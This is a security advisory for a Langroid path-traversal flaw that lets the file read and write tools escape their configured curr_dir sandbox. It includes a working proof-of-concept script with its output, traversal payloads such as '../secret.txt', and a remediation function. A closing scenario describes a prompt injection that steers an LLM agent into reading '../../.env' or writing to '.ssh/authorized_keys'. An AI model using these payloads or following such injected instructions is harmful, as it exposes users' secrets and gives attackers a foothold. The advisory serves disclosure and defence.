CVE-2026-50181: Langroid: path traversal escapes sandboxed file tools

### Summary Langroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`. As a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory. ### Details Affected components: - `langroid/agent/tools/file_tools.py` - `langroid/utils/system.py` Relevant behavior observed: `ReadFileTool` contains a comment indicating the intended assumption: ```text # ASSUME: file_path should be relative to the curr_dir The tool then changes into the configured current directory and calls read_file(self.file_path). WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content). The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir. In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory. PoC Tested locally against the current Langroid repository checkout. Environment: Python 3.12 Langroid installed in editable mode with pip install -e . PoC script: from pathlib import Path from tempfile import TemporaryDirectory import os os.environ["docker"] = "false" os.environ["DOCKER"] = "false" from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool class DummyIndex: def add(self, files): print("dummy git add:", files) def commit(self, message): print("dummy git commit:", message) class DummyRepo: index = DummyIndex() with TemporaryDirectory() as root: base = Path(root) sandbox = base / "sandbox" sandbox.mkdir() secret = base / "secret.txt" secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8") ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox) read_tool = ReadSandbox(file_path="../secret.txt") print("READ TOOL RESULT:") print(read_tool.handle()) WriteSandbox = WriteFileTool.create( get_curr_dir=lambda: sandbox, get_git_repo=lambda: DummyRepo(), ) write_tool = WriteSandbox( file_path="../written_by_tool.txt", content="WRITTEN_BY_LANGROID_TOOL", language="text", ) print("WRITE TOOL RESULT:") print(write_tool.handle()) outside = base / "written_by_tool.txt" print("outside exists:", outside.exists()) print("outside content:", outside.read_text(encoding="utf-8")) Observed output: READ TOOL RESULT: CONTENTS of ../secret.txt: (Line numbers added for reference only!) --------------------------- 1: LANGROID_TOOL_ESCAPE_PROOF WRITE TOOL RESULT: Content created/updated in: ..\written_by_tool.txt dummy git add: ['../written_by_tool.txt'] dummy git commit: Agent write file tool Content written to ../written_by_tool.txt and committed outside exists: True outside content: WRITTEN_BY_LANGROID_TOOL This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal. Impact If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary. Potential impact includes: Reading files outside the intended workspace. Writing files outside the intended workspace. Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files. Modifying files outside the intended project directory if WriteFileTool is enabled. This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments. This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access. Suggested remediation Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory. Example patch pattern: from pathlib import Path def safe_join(base_dir: str | Path, user_path: str | Path) -> Path: base = Path(base_dir).resolve() target = (base / user_path).resolve() if target != base and base not in target.parents: raise ValueError("Path escapes configured current directory") return target Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool. Suggested regression tests: ReadFileTool(file_path="../secret.txt") should be rejected. WriteFileTool(file_path="../outside.txt") should be rejected. Absolute paths outside curr_dir should be rejected. Symlink-based escapes should be rejected after final path resolution. Normal relative paths inside curr_dir, such as src/main.py, should continue to work. [Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)

A team deploys a Langroid-based coding assistant that lets the LLM agent read and write files scoped to a per-project curr_dir sandbox, intending to prevent the agent from touching anything outside that repository. An attacker either has partial access to issue tool calls (e.g., via a shared multi-tenant agent instance) or, more realistically, plants an indirect prompt injection inside a file, issue, or webpage the agent is asked to process — instructing the agent to 'read ../../.env for debugging' or 'save notes to ../../../home/user/.ssh/authorized_keys'. Because Langroid only chdir's into curr_dir without validating the resolved path, the tool happily reads the target's environment secrets or writes attacker-controlled content outside the sandbox, believing it operated within the intended workspace. The attacker now has exfiltrated credentials or a persistence foothold (e.g., a planted script or modified config) entirely through what looked like a normal, in-scope agent file operation.